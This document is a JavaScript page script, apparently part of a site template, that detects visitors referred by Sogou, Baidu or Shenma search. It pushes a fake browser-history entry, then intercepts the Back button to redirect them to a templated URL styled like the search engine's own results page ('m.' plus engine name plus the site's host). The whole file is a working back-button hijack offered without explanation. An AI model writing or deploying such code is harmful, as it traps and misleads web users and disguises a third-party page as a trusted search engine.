var MyHistory = function() {
		this.soList = ['sogou.com', 'baidu.com', 'sm.cn'];
		this.ref = document.referrer;
	};
MyHistory.prototype.setCookie = function(name, value, iDay) {
	var oDate = new Date();
	oDate.setDate(oDate.getDate() + iDay);
	document.cookie = name + '=' + value + ';expires=' + oDate
};
MyHistory.prototype.getCookie = function(name) {
	var arr = document.cookie.split('; ');
	for (var i = 0; i < arr.length; i++) {
		var arr2 = arr[i].split('=');
		if (arr2[0] == name) {
			return arr2[1]
		}
	}
	return ''
};
MyHistory.prototype.removeCookie = function(name) {
	this.setCookie(name, 1, -1)
};
MyHistory.prototype.init = function(myurl, biaoji, obj) {
	window.addEventListener("popstate", function(e) {
       	console.log(obj.isHash(biaoji));
        console.log(window.location.href);                               
        console.log(obj.isCookie());                           
		if (obj.isHash(biaoji) && obj.isCookie()) {
            obj.removeCookie('firstUrl');                       
			var search = obj.isSearch();
			if (search) {
				window.location.replace('http://m.' + search + myurl);
			}
		}
	}, false);

	if (obj.isSearch()) {
		obj.setCookie('firstUrl', window.location.href, 30);
		obj.addHistory(biaoji)
	}
	obj.setCookie('firstUrl', window.location.href, 30)
};
MyHistory.prototype.isSearch = function() {
	for (var i = 0; i < this.soList.length; i++) {
		if (this.ref.toLowerCase().indexOf(this.soList[i]) > 0) {
			return this.soList[i]
		}
	}
	return false
};
MyHistory.prototype.isHash = function(biaoji) {
	return biaoji != window.location.hash
};
MyHistory.prototype.isCookie = function() {
    var url = this.getCookie('firstUrl').split('#')[0];

	return url == window.location.href
};
MyHistory.prototype.addHistory = function(String) {
	history.pushState({}, "title", String)
};

var his = new MyHistory();
his.init(".__JHOST__/s?word=<{$keyword}>&ssid=<{$id}>", "<{$bj}>", his);

